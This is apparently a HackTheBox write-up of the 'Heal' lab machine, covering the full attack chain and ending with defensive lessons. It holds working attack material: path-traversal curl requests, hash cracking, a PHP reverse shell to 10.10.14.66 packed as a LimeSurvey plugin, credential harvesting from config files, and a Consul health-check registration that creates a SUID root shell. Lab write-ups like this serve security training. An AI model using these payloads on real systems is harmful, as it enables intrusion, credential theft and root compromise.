HTB: Heal Writeup

Heal - HackTheBox Writeup

Machine Information

AttributeDetails
NameHeal
OSLinux
DifficultyMedium
PointsN/A
Release Date15 May 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Heal is a medium-difficulty Linux machine featuring a resume builder web application vulnerable to path traversal. By exploiting arbitrary file read through the PDF export functionality, we extract the SQLite database and crack the administrator password hash to gain access to LimeSurvey. We then upload a malicious plugin to obtain remote code execution as www-data. Database credential enumeration reveals password reuse with a system user (ron), allowing lateral movement via SSH. Finally, we exploit a local Consul Agent running as root by registering a malicious health check that executes arbitrary commands, leading to privilege escalation.

TL;DR: Path traversal → Database extraction → Credential cracking → LimeSurvey plugin RCE → Lateral movement via password reuse → Consul API RCE as root


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -sC -sV 10.10.11.46

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http nginx 1.18.0 (Ubuntu)

The scan reveals two primary services: SSH on port 22 and nginx on port 80.

Service Enumeration

HTTP Service Discovery:

Accessing port 80 redirects to heal.htb. The application is a resume builder website with a login page. Further reconnaissance reveals additional subdomains:

  • api.heal.htb - Ruby on Rails API (v7.1.4, Ruby v3.3.5)
  • take-survey.heal.htb - LimeSurvey instance

Add these entries to /etc/hosts:

Terminal window
echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hosts
echo "10.10.11.46 api.heal.htb" | sudo tee -a /etc/hosts
echo "10.10.11.46 take-survey.heal.htb" | sudo tee -a /etc/hosts

The LimeSurvey admin panel is accessible at http://take-survey.heal.htb/admin.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Arbitrary File Read - The PDF export functionality contains a path traversal vulnerability in the filename parameter
  2. Weak Credentials - Database credentials stored in plaintext configuration files
  3. Password Reuse - Database password reused for system user account
  4. Insecure Plugin Upload - LimeSurvey allows administrators to upload arbitrary plugins
  5. Unauthenticated Consul API - Local Consul service accessible without authentication, permitting arbitrary service registration

Initial Foothold

Exploitation Path

Step 1: Exploit Path Traversal for File Read

After registering a test account and creating a resume, clicking the “Export to PDF” button triggers a POST request to /exports followed by a GET request to /download?filename=.... The filename parameter is susceptible to path traversal.

Test arbitrary file read on /etc/passwd:

Terminal window
curl 'http://api.heal.htb/download?filename=../../../../../etc/passwd' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'

This successfully returns the passwd file, confirming the vulnerability.

Step 2: Extract Application Files

Retrieve the Gemfile to understand the Rails application dependencies:

Terminal window
curl 'http://api.heal.htb/download?filename=../../Gemfile' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'

The output reveals SQLite3 is used as the database.

Step 3: Extract Database Configuration and Credentials

Download the database configuration:

Terminal window
curl 'http://api.heal.htb/download?filename=../../config/database.yml' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'

The config indicates the production database is storage/development.sqlite3.

Step 4: Download and Extract Database

Terminal window
curl 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' \
-o development.sqlite3

Step 5: Extract Admin Credentials

Query the database for user credentials:

Terminal window
sqlite3 development.sqlite3
sqlite> .tables
sqlite> select * from users;

Output:

1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|...|Administrator|ralph|1

Step 6: Crack the Password Hash

Save the hash to a file:

Terminal window
echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' > ralph.hash

Crack using John the Ripper:

Terminal window
john -w=/usr/share/wordlists/rockyou.txt ralph.hash

Output:

147258369 (?)

Credentials obtained: ralph:147258369

Step 7: Exploit LimeSurvey Plugin Upload for RCE

Log in to the LimeSurvey admin panel at http://take-survey.heal.htb/admin using the obtained credentials.

Create a malicious plugin. First, create config.xml:

<?xml version="1.0" encoding="UTF-8"?>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<namespace>Y1LD1R1M</namespace>
<version>1.0</version>
<author>attacker</author>
</metadata>

Create the reverse shell payload php-rev.php:

<?php
$sock=fsockopen("10.10.14.66",1337);
$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Package both files into a ZIP archive:

Terminal window
zip -r plugin.zip php-rev.php config.xml

Navigate to the plugins configuration page and upload the ZIP file.

Step 8: Trigger Reverse Shell

Start a listener:

Terminal window
nc -nvlp 1337

Access the uploaded plugin:

Terminal window
curl http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php

A reverse shell is received as user www-data:

listening on [any] 1337 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.251.41] 50306
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement to User ron

Step 1: Extract Database Credentials from LimeSurvey Config

Enumerate the LimeSurvey configuration for database credentials:

Terminal window
cat /var/www/html/limesurvey/application/config/config.php

Output reveals:

'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'password' => 'AdmiDi0_pA$$w0rd',
),

Password found: AdmiDi0_pA$$w0rd

Step 2: SSH Access with Reused Credentials

The password is reused by the system user ron. Establish SSH access:

Terminal window
ssh ron@heal.htb
# Password: AdmiDi0_pA$$w0rd

Verify access:

Terminal window
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)

Retrieve the user flag:

Terminal window
cat /home/ron/user.txt

Privilege Escalation via Consul API

Step 1: Discover Local Services

Scan for listening services:

Terminal window
ss -tnlp

Output reveals ports 8500, 8503, 8600, 8300, 8301, and 8302 listening on 127.0.0.1. These are Consul Agent ports.

Step 2: Identify Consul Service

Check systemd services:

Terminal window
cat /etc/systemd/system/consul.service

Output confirms Consul runs as root:

[Service]
User=root
Group=root
ExecStart=/usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 ...

Step 3: Access Consul API via Port Forwarding

Set up SSH port forwarding:

Terminal window
ssh -L 8500:127.0.0.1:8500 ron@heal.htb

List registered services:

Terminal window
curl -X GET http://localhost:8500/v1/agent/services

Step 4: Register Malicious Service Check

Create a reverse shell script on the target:

cat > /tmp/rev.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/evil; chmod +s /tmp/evil
EOF
chmod +x /tmp/rev.sh

Register a malicious health check via the Consul API:

Terminal window
curl -X PUT http://localhost:8500/v1/agent/check/register \
-H "Content-Type: application/json" \
-d '{
"ID":"rce",
"Name":"evil service",
"Shell":"/bin/bash",
"Interval":"5s",
"Args":["/tmp/rev.sh",""]
}'

Step 5: Execute Privileged Command

After 5 seconds, the Consul agent (running as root) executes the script:

Terminal window
ls -l /tmp/evil
# -rwsr-xr-x 1 root root 1396520 May 15 11:11 evil

Run the SUID binary with privilege:

Terminal window
/tmp/evil -p
# evil-5.1# id
# uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)

Step 6: Retrieve Root Flag

Terminal window
cat /root/root.txt

Attack Chain Summary

Path Traversal (api.heal.htb/download)
Extract SQLite Database (development.sqlite3)
Crack Admin Hash (ralph:147258369)
LimeSurvey Plugin RCE (www-data shell)
Extract LimeSurvey DB Credentials (AdmiDi0_pA$$w0rd)
SSH Access as ron (Credential Reuse)
Discover Consul Agent (Port 8500)
Register Malicious Health Check (Consul API)
Root Access (SUID Binary Execution)

Tools Used

ToolPurpose
nmapNetwork port scanning and service discovery
curlHTTP requests and file retrieval
sqlite3Database enumeration and credential extraction
johnBcrypt password hash cracking
zipArchive creation for plugin payload
sshSecure shell access and port forwarding
netcat (nc)Reverse shell listener
ssLocal port and service enumeration

Key Learnings

Techniques Practiced

  • Path traversal vulnerability exploitation for arbitrary file read
  • SQLite database enumeration and extraction
  • Bcrypt hash cracking with wordlist attacks
  • LimeSurvey plugin development and malicious payload delivery
  • Database credential harvesting from application configuration files
  • Password reuse exploitation for lateral movement
  • Consul Agent API exploitation for unauthorized service registration
  • Privilege escalation via SUID binary manipulation
  • SSH port forwarding for accessing restricted services

Lessons Learned

  1. Defense in Depth: A single vulnerability (path traversal) cascaded into complete system compromise. Input validation on file paths is critical in web applications.

  2. Credential Management: Reusing database passwords across system accounts significantly increases the blast radius of a single compromise.

  3. Application Configuration: Sensitive configuration files must be protected and never exposed through web-accessible paths.

  4. API Authentication: Services like Consul should be restricted to localhost only or protected with strong authentication, especially when running as root.

  5. Third-Party Plugin Security: Applications allowing plugin uploads must implement strict sandboxing and validation to prevent arbitrary code execution.

  6. Principle of Least Privilege: Services running as root should be avoided unless absolutely necessary. Consul running as root enabled full system compromise.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>